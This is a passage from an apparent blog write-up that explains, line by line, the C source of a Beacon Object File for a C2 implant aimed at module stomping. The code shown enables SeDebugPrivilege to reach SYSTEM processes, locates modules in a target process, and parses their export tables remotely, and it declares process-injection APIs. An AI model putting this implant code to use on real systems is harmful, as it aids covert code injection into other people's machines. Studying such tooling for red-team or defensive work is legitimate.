<span class="n">DECLSPEC_IMPORT</span> <span class="n">BOOL</span>   <span class="n">WINAPI</span> <span class="n">KERNEL32</span><span class="err">$</span><span class="n">ReadProcessMemory</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">LPCVOID</span> <span class="n">lpBaseAddress</span><span class="p">,</span> <span class="n">LPVOID</span> <span class="n">lpBuffer</span><span class="p">,</span> <span class="n">SIZE_T</span> <span class="n">nSize</span><span class="p">,</span> <span class="n">SIZE_T</span> <span class="o">*</span><span class="n">lpNumberOfBytesRead</span><span class="p">);</span>
<span class="n">DECLSPEC_IMPORT</span> <span class="n">BOOL</span>   <span class="n">WINAPI</span> <span class="n">KERNEL32</span><span class="err">$</span><span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">LPVOID</span> <span class="n">lpBaseAddress</span><span class="p">,</span> <span class="n">LPCVOID</span> <span class="n">lpBuffer</span><span class="p">,</span> <span class="n">SIZE_T</span> <span class="n">nSize</span><span class="p">,</span> <span class="n">SIZE_T</span> <span class="o">*</span><span class="n">lpNumberOfBytesWritten</span><span class="p">);</span>
<span class="n">DECLSPEC_IMPORT</span> <span class="n">BOOL</span>   <span class="n">WINAPI</span> <span class="n">KERNEL32</span><span class="err">$</span><span class="n">VirtualProtectEx</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">LPVOID</span> <span class="n">lpAddress</span><span class="p">,</span> <span class="n">SIZE_T</span> <span class="n">dwSize</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">flNewProtect</span><span class="p">,</span> <span class="n">DWORD</span> <span class="o">*</span><span class="n">lpflOldProtect</span><span class="p">);</span>
<span class="n">DECLSPEC_IMPORT</span> <span class="n">HANDLE</span> <span class="n">WINAPI</span> <span class="n">KERNEL32</span><span class="err">$</span><span class="n">CreateRemoteThread</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">LPSECURITY_ATTRIBUTES</span> <span class="n">lpThreadAttributes</span><span class="p">,</span> <span class="n">SIZE_T</span> <span class="n">dwStackSize</span><span class="p">,</span> <span class="n">LPTHREAD_START_ROUTINE</span> <span class="n">lpStartAddress</span><span class="p">,</span> <span class="n">LPVOID</span> <span class="n">lpParameter</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">dwCreationFlags</span><span class="p">,</span> <span class="n">LPDWORD</span> <span class="n">lpThreadId</span><span class="p">);</span>
<span class="n">DECLSPEC_IMPORT</span> <span class="n">HANDLE</span> <span class="n">WINAPI</span> <span class="n">KERNEL32</span><span class="err">$</span><span class="n">GetCurrentProcess</span><span class="p">(</span><span class="kt">void</span><span class="p">);</span>
<span class="n">DECLSPEC_IMPORT</span> <span class="n">DWORD</span>  <span class="n">WINAPI</span> <span class="n">KERNEL32</span><span class="err">$</span><span class="n">GetLastError</span><span class="p">(</span><span class="kt">void</span><span class="p">);</span>
<span class="n">DECLSPEC_IMPORT</span> <span class="n">HANDLE</span> <span class="n">WINAPI</span> <span class="n">KERNEL32</span><span class="err">$</span><span class="n">CreateToolhelp32Snapshot</span><span class="p">(</span><span class="n">DWORD</span> <span class="n">dwFlags</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">th32ProcessID</span><span class="p">);</span>
<span class="n">DECLSPEC_IMPORT</span> <span class="n">BOOL</span>   <span class="n">WINAPI</span> <span class="n">KERNEL32</span><span class="err">$</span><span class="n">Module32First</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">hSnapshot</span><span class="p">,</span> <span class="n">LPMODULEENTRY32</span> <span class="n">lpme</span><span class="p">);</span>
<span class="n">DECLSPEC_IMPORT</span> <span class="n">BOOL</span>   <span class="n">WINAPI</span> <span class="n">KERNEL32</span><span class="err">$</span><span class="n">Module32Next</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">hSnapshot</span><span class="p">,</span> <span class="n">LPMODULEENTRY32</span> <span class="n">lpme</span><span class="p">);</span>
<span class="n">DECLSPEC_IMPORT</span> <span class="n">DWORD</span>  <span class="n">WINAPI</span> <span class="n">KERNEL32</span><span class="err">$</span><span class="n">WaitForSingleObject</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">hHandle</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">dwMilliseconds</span><span class="p">);</span>
<span class="n">DECLSPEC_IMPORT</span> <span class="n">DWORD</span>  <span class="n">WINAPI</span> <span class="n">KERNEL32</span><span class="err">$</span><span class="n">GetExitCodeThread</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">hThread</span><span class="p">,</span> <span class="n">LPDWORD</span> <span class="n">lpExitCode</span><span class="p">);</span>

<span class="cm">/* advapi32 - token/privilege (NOT in kernel32) */</span>
<span class="n">DECLSPEC_IMPORT</span> <span class="n">HANDLE</span> <span class="n">WINAPI</span> <span class="n">ADVAPI32</span><span class="err">$</span><span class="n">OpenProcessToken</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">ProcessHandle</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">DesiredAccess</span><span class="p">,</span> <span class="n">PHANDLE</span> <span class="n">TokenHandle</span><span class="p">);</span>
<span class="n">DECLSPEC_IMPORT</span> <span class="n">BOOL</span>   <span class="n">WINAPI</span> <span class="n">ADVAPI32</span><span class="err">$</span><span class="n">AdjustTokenPrivileges</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">TokenHandle</span><span class="p">,</span> <span class="n">BOOL</span> <span class="n">DisableAllPrivileges</span><span class="p">,</span> <span class="n">PTOKEN_PRIVILEGES</span> <span class="n">NewState</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">BufferLength</span><span class="p">,</span> <span class="n">PTOKEN_PRIVILEGES</span> <span class="n">PreviousState</span><span class="p">,</span> <span class="n">PDWORD</span> <span class="n">ReturnLength</span><span class="p">);</span>
<span class="n">DECLSPEC_IMPORT</span> <span class="n">BOOL</span>   <span class="n">WINAPI</span> <span class="n">ADVAPI32</span><span class="err">$</span><span class="n">LookupPrivilegeValueA</span><span class="p">(</span><span class="n">LPCSTR</span> <span class="n">lpSystemName</span><span class="p">,</span> <span class="n">LPCSTR</span> <span class="n">lpName</span><span class="p">,</span> <span class="n">PLUID</span> <span class="n">lpLuid</span><span class="p">);</span>

<span class="cm">/* msvcrt - beacon does NOT provide calloc/free */</span>
<span class="n">DECLSPEC_IMPORT</span> <span class="kt">void</span> <span class="o">*</span><span class="n">WINAPI</span> <span class="n">MSVCRT</span><span class="err">$</span><span class="n">malloc</span><span class="p">(</span><span class="kt">size_t</span> <span class="n">size</span><span class="p">);</span>
<span class="n">DECLSPEC_IMPORT</span> <span class="kt">void</span>  <span class="n">WINAPI</span> <span class="n">MSVCRT</span><span class="err">$</span><span class="n">free</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">ptr</span><span class="p">);</span>
</code></pre></div></div>

<p><strong>Why DFR?</strong> The beacon’s <code class="language-plaintext highlighter-rouge">bof_loader.cpp</code> resolves symbols via two paths:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">MODULE$Func</code> → <code class="language-plaintext highlighter-rouge">LoadLibraryA(module)</code> + <code class="language-plaintext highlighter-rouge">GetProcAddress(module, func)</code></li>
  <li><code class="language-plaintext highlighter-rouge">__imp_Beacon*</code> → Djb2A-hashed against the fixed 32-entry <code class="language-plaintext highlighter-rouge">BeaconFunctions[]</code> table</li>
</ul>

<p><code class="language-plaintext highlighter-rouge">calloc</code>/<code class="language-plaintext highlighter-rouge">free</code>/<code class="language-plaintext highlighter-rouge">lstrcpynA</code> are <strong>not</strong> in that table, so the BOF must use msvcrt’s <code class="language-plaintext highlighter-rouge">malloc</code>/<code class="language-plaintext highlighter-rouge">free</code> and inline string helpers instead.</p>

<h3 id="2-constants--types-lines-6679">2. Constants &amp; Types (Lines 66–79)</h3>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define MAX_EXPORTS    8192
#define MAX_NAME_LEN   256
#define SE_DEBUG_LUID  _SE_DEBUG_PRIVILEGE  </span><span class="cm">/* 0x14 */</span><span class="cp">
</span>
<span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
    <span class="kt">char</span>      <span class="n">name</span><span class="p">[</span><span class="n">MAX_NAME_LEN</span><span class="p">];</span>
    <span class="n">WORD</span>      <span class="n">ordinal</span><span class="p">;</span>
    <span class="n">DWORD</span>     <span class="n">rva</span><span class="p">;</span>
    <span class="n">DWORD_PTR</span> <span class="n">addr</span><span class="p">;</span>
<span class="p">}</span> <span class="n">export_entry_t</span><span class="p">;</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">export_entry_t</code> struct holds one row of the export table. The <code class="language-plaintext highlighter-rouge">addr</code> field is <code class="language-plaintext highlighter-rouge">base + rva</code> (absolute address in the target).</p>

<h3 id="3-helper-functions-lines-85112">3. Helper Functions (Lines 85–112)</h3>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">SIZE_T</span> <span class="nf">xread</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">hProc</span><span class="p">,</span> <span class="n">DWORD_PTR</span> <span class="n">addr</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="n">SIZE_T</span> <span class="n">size</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">SIZE_T</span> <span class="n">n</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">KERNEL32</span><span class="err">$</span><span class="n">ReadProcessMemory</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="p">(</span><span class="n">LPCVOID</span><span class="p">)</span><span class="n">addr</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">n</span><span class="p">))</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">n</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Thin wrapper around <code class="language-plaintext highlighter-rouge">ReadProcessMemory</code>. Returns bytes read, or 0 on failure. Used throughout to read PE structures from the target process.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">strcasecmp_a</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">b</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">while</span> <span class="p">(</span><span class="o">*</span><span class="n">a</span> <span class="o">&amp;&amp;</span> <span class="o">*</span><span class="n">b</span><span class="p">)</span> <span class="p">{</span>
        <span class="kt">char</span> <span class="n">ca</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="n">a</span> <span class="o">&gt;=</span> <span class="sc">'A'</span> <span class="o">&amp;&amp;</span> <span class="o">*</span><span class="n">a</span> <span class="o">&lt;=</span> <span class="sc">'Z'</span><span class="p">)</span> <span class="o">?</span> <span class="p">(</span><span class="o">*</span><span class="n">a</span> <span class="o">+</span> <span class="mi">32</span><span class="p">)</span> <span class="o">:</span> <span class="o">*</span><span class="n">a</span><span class="p">;</span>
        <span class="kt">char</span> <span class="n">cb</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="n">b</span> <span class="o">&gt;=</span> <span class="sc">'A'</span> <span class="o">&amp;&amp;</span> <span class="o">*</span><span class="n">b</span> <span class="o">&lt;=</span> <span class="sc">'Z'</span><span class="p">)</span> <span class="o">?</span> <span class="p">(</span><span class="o">*</span><span class="n">b</span> <span class="o">+</span> <span class="mi">32</span><span class="p">)</span> <span class="o">:</span> <span class="o">*</span><span class="n">b</span><span class="p">;</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">ca</span> <span class="o">!=</span> <span class="n">cb</span><span class="p">)</span> <span class="k">return</span> <span class="n">ca</span> <span class="o">-</span> <span class="n">cb</span><span class="p">;</span>
        <span class="n">a</span><span class="o">++</span><span class="p">;</span> <span class="n">b</span><span class="o">++</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="p">)</span><span class="o">*</span><span class="n">a</span> <span class="o">-</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="p">)</span><span class="o">*</span><span class="n">b</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>ASCII-only case-insensitive compare. Avoids CRT dependency.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">cpyn</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">dst</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">src</span><span class="p">,</span> <span class="kt">int</span> <span class="n">max</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">max</span> <span class="o">-</span> <span class="mi">1</span> <span class="o">&amp;&amp;</span> <span class="n">src</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'\0'</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
        <span class="n">dst</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">src</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
    <span class="n">dst</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Bounded null-terminated copy. Replaces <code class="language-plaintext highlighter-rouge">lstrcpynA</code> which isn’t available in the beacon.</p>

<h3 id="4-enable_se_debug-lines-118141">4. <code class="language-plaintext highlighter-rouge">enable_se_debug()</code> (Lines 118–141)</h3>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">enable_se_debug</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">HANDLE</span> <span class="n">hToken</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
    <span class="n">TOKEN_PRIVILEGES</span> <span class="n">tp</span><span class="p">;</span>
    <span class="n">LUID</span> <span class="n">luid</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">ADVAPI32</span><span class="err">$</span><span class="n">OpenProcessToken</span><span class="p">(</span><span class="n">KERNEL32</span><span class="err">$</span><span class="n">GetCurrentProcess</span><span class="p">(),</span>
                                   <span class="n">TOKEN_ADJUST_PRIVILEGES</span> <span class="o">|</span> <span class="n">TOKEN_QUERY</span><span class="p">,</span>
                                   <span class="o">&amp;</span><span class="n">hToken</span><span class="p">))</span>
        <span class="k">return</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">ADVAPI32</span><span class="err">$</span><span class="n">LookupPrivilegeValueA</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">SE_DEBUG_NAME</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">luid</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">KERNEL32</span><span class="err">$</span><span class="n">CloseHandle</span><span class="p">(</span><span class="n">hToken</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">tp</span><span class="p">.</span><span class="n">PrivilegeCount</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
    <span class="n">tp</span><span class="p">.</span><span class="n">Privileges</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Luid</span> <span class="o">=</span> <span class="n">luid</span><span class="p">;</span>
    <span class="n">tp</span><span class="p">.</span><span class="n">Privileges</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Attributes</span> <span class="o">=</span> <span class="n">SE_PRIVILEGE_ENABLED</span><span class="p">;</span>

    <span class="n">ADVAPI32</span><span class="err">$</span><span class="n">AdjustTokenPrivileges</span><span class="p">(</span><span class="n">hToken</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">tp</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">tp</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
    <span class="n">KERNEL32</span><span class="err">$</span><span class="n">CloseHandle</span><span class="p">(</span><span class="n">hToken</span><span class="p">);</span>
    <span class="cm">/* Best-effort: if it fails we just can't access SYSTEM processes */</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Opens the current process token, looks up <code class="language-plaintext highlighter-rouge">SeDebugPrivilege</code> (LUID 0x14), and enables it. This grants the beacon access to SYSTEM-level processes. Failing silently is intentional - a non-admin beacon can still stomp user-level processes without it.</p>

<h3 id="5-find_module_base-lines-147168">5. <code class="language-plaintext highlighter-rouge">find_module_base()</code> (Lines 147–168)</h3>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">DWORD_PTR</span> <span class="nf">find_module_base</span><span class="p">(</span><span class="n">DWORD</span> <span class="n">pid</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">dll_name</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">HANDLE</span> <span class="n">snap</span> <span class="o">=</span> <span class="n">KERNEL32</span><span class="err">$</span><span class="n">CreateToolhelp32Snapshot</span><span class="p">(</span><span class="n">TH32CS_SNAPMODULE</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">snap</span> <span class="o">==</span> <span class="n">INVALID_HANDLE_VALUE</span> <span class="o">||</span> <span class="n">snap</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

    <span class="n">MODULEENTRY32</span> <span class="n">me</span><span class="p">;</span>
    <span class="n">me</span><span class="p">.</span><span class="n">dwSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">me</span><span class="p">);</span>

    <span class="n">DWORD_PTR</span> <span class="n">base</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">KERNEL32</span><span class="err">$</span><span class="n">Module32First</span><span class="p">(</span><span class="n">snap</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">me</span><span class="p">))</span> <span class="p">{</span>
        <span class="k">do</span> <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">strcasecmp_a</span><span class="p">(</span><span class="n">me</span><span class="p">.</span><span class="n">szModule</span><span class="p">,</span> <span class="n">dll_name</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">base</span> <span class="o">=</span> <span class="p">(</span><span class="n">DWORD_PTR</span><span class="p">)</span><span class="n">me</span><span class="p">.</span><span class="n">modBaseAddr</span><span class="p">;</span>
                <span class="k">break</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">KERNEL32</span><span class="err">$</span><span class="n">Module32Next</span><span class="p">(</span><span class="n">snap</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">me</span><span class="p">));</span>
    <span class="p">}</span>

    <span class="n">KERNEL32</span><span class="err">$</span><span class="n">CloseHandle</span><span class="p">(</span><span class="n">snap</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">base</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Uses the <strong>Toolhelp32 Module Snapshot</strong> to enumerate all modules loaded in the target PID. Returns the loaded base address (<code class="language-plaintext highlighter-rouge">modBaseAddr</code>) of the named DLL. This works regardless of ASLR because it reads the <em>actual</em> mapped address from the target’s module list.</p>

<h3 id="6-read_exports-lines-174261---pe-export-table-walker">6. <code class="language-plaintext highlighter-rouge">read_exports()</code> (Lines 174–261) - PE Export Table Walker</h3>

<p>The most complex function. Reads the PE headers <strong>remotely</strong> (via <code class="language-plaintext highlighter-rouge">ReadProcessMemory</code>) to parse the export directory. Architecture-agnostic (handles both PE32 and PE32+).</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Target process memory layout:

  base ──► IMAGE_DOS_HEADER
              │ e_lfanew
              ▼
           NT_SIGNATURE + IMAGE_FILE_HEADER
              │
              ▼
           IMAGE_OPTIONAL_HEADER
              │  DataDirectory[0] = Export
              ▼
           IMAGE_EXPORT_DIRECTORY
              ├── NumberOfFunctions
              ├── NumberOfNames
              ├── AddressOfFunctions   (RVA → DWORD[])
              ├── AddressOfNames       (RVA → DWORD[])
              └── AddressOfNameOrdinals (RVA → WORD[])
</code></pre></div></div>

<h4 id="step-12-dos--nt-headers-lines-177188">Step 1–2: DOS &amp; NT headers (Lines 177–188)</h4>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="cm">/* 1. DOS header */</span>
    <span class="n">IMAGE_DOS_HEADER</span> <span class="n">dos</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">xread</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="n">base</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">dos</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">dos</span><span class="p">))</span> <span class="o">!=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">dos</span><span class="p">))</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">dos</span><span class="p">.</span><span class="n">e_magic</span> <span class="o">!=</span> <span class="n">IMAGE_DOS_SIGNATURE</span><span class="p">)</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>

    <span class="cm">/* 2. NT signature */</span>
    <span class="n">DWORD_PTR</span> <span class="n">nt_addr</span> <span class="o">=</span> <span class="n">base</span> <span class="o">+</span> <span class="n">dos</span><span class="p">.</span><span class="n">e_lfanew</span><span class="p">;</span>
    <span class="n">DWORD</span> <span class="n">sig</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">xread</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="n">nt_addr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">sig</span><span class="p">,</span> <span class="mi">4</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">4</span> <span class="o">||</span> <span class="n">sig</span> <span class="o">!=</span> <span class="n">IMAGE_NT_SIGNATURE</span><span class="p">)</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</code></pre></div></div>

<p>Reads the “MZ” header, follows the <code class="language-plaintext highlighter-rouge">e_lfanew</code> pointer to the “PE\0\0” signature.</p>

<h4 id="step-3-optional-header-magic-lines-190198">Step 3: Optional header magic (Lines 190–198)</h4>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="cm">/* 3. Optional header magic (2 bytes at offset 24 from NT start) */</span>
    <span class="n">WORD</span> <span class="n">opt_magic</span><span class="p">;</span>
    <span class="n">DWORD_PTR</span> <span class="n">opt_hdr_addr</span> <span class="o">=</span> <span class="n">nt_addr</span> <span class="o">+</span> <span class="mi">4</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">IMAGE_FILE_HEADER</span><span class="p">);</span> <span class="cm">/* = 24 */</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">xread</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="n">opt_hdr_addr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">opt_magic</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">)</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>

    <span class="kt">int</span> <span class="n">is_64</span> <span class="o">=</span> <span class="p">(</span><span class="n">opt_magic</span> <span class="o">==</span> <span class="mh">0x20b</span><span class="p">);</span>
    <span class="kt">int</span> <span class="n">dd_off</span> <span class="o">=</span> <span class="n">is_64</span> <span class="o">?</span> <span class="mi">112</span> <span class="o">:</span> <span class="mi">96</span><span class="p">;</span>
    <span class="n">DWORD_PTR</span> <span class="n">dd_addr</span> <span class="o">=</span> <span class="n">opt_hdr_addr</span> <span class="o">+</span> <span class="n">dd_off</span><span class="p">;</span>
</code></pre></div></div>

<p>The optional header magic (<code class="language-plaintext highlighter-rouge">0x20b</code> = PE32+, <code class="language-plaintext highlighter-rouge">0x10b</code> = PE32) determines where the <code class="language-plaintext highlighter-rouge">DataDirectory</code> array lives - offset 112 for 64-bit, 96 for 32-bit.</p>

<h4 id="step-45-export-directory-lines-200216">Step 4–5: Export directory (Lines 200–216)</h4>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="cm">/* 4. Export directory entry (index 0) */</span>
    <span class="n">IMAGE_DATA_DIRECTORY</span> <span class="n">edd</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">xread</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="n">dd_addr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">edd</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">edd</span><span class="p">))</span> <span class="o">!=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">edd</span><span class="p">))</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">edd</span><span class="p">.</span><span class="n">VirtualAddress</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">edd</span><span class="p">.</span><span class="n">Size</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>  <span class="cm">/* no exports in this module */</span>

    <span class="cm">/* 5. IMAGE_EXPORT_DIRECTORY */</span>
    <span class="n">IMAGE_EXPORT_DIRECTORY</span> <span class="n">ied</span><span class="p">;</span>
    <span class="n">DWORD_PTR</span> <span class="n">ied_addr</span> <span class="o">=</span> <span class="n">base</span> <span class="o">+</span> <span class="n">edd</span><span class="p">.</span><span class="n">VirtualAddress</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">xread</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="n">ied_addr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ied</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ied</span><span class="p">))</span> <span class="o">!=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ied</span><span class="p">))</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>

    <span class="n">DWORD</span> <span class="n">nfuncs</span> <span class="o">=</span> <span class="n">ied</span><span class="p">.</span><span class="n">NumberOfFunctions</span><span class="p">;</span>
    <span class="n">DWORD</span> <span class="n">nnames</span> <span class="o">=</span> <span class="n">ied</span><span class="p">.</span><span class="n">NumberOfNames</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">nfuncs</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">nnames</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</code></pre></div></div>

<p>Gets the export directory’s RVA and size, then reads the <code class="language-plaintext highlighter-rouge">IMAGE_EXPORT_DIRECTORY</code> struct to learn how many functions/names exist.</p>

<h4 id="step-6-heap-allocate--read-the-three-arrays-lines-220231">Step 6: Heap-allocate &amp; read the three arrays (Lines 220–231)</h4>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="cm">/* 6. Read arrays (heap-allocated: these are too big for the beacon's 1MB stack) */</span>
    <span class="n">DWORD</span> <span class="o">*</span><span class="n">funcs</span>    <span class="o">=</span> <span class="p">(</span><span class="n">DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">MSVCRT</span><span class="err">$</span><span class="n">malloc</span><span class="p">(</span><span class="n">nfuncs</span> <span class="o">*</span> <span class="nf">sizeof</span><span class="p">(</span><span class="n">DWORD</span><span class="p">));</span>
    <span class="n">DWORD</span> <span class="o">*</span><span class="n">names</span>    <span class="o">=</span> <span class="p">(</span><span class="n">DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">MSVCRT</span><span class="err">$</span><span class="n">malloc</span><span class="p">(</span><span class="n">nnames</span> <span class="o">*</span> <span class="nf">sizeof</span><span class="p">(</span><span class="n">DWORD</span><span class="p">));</span>
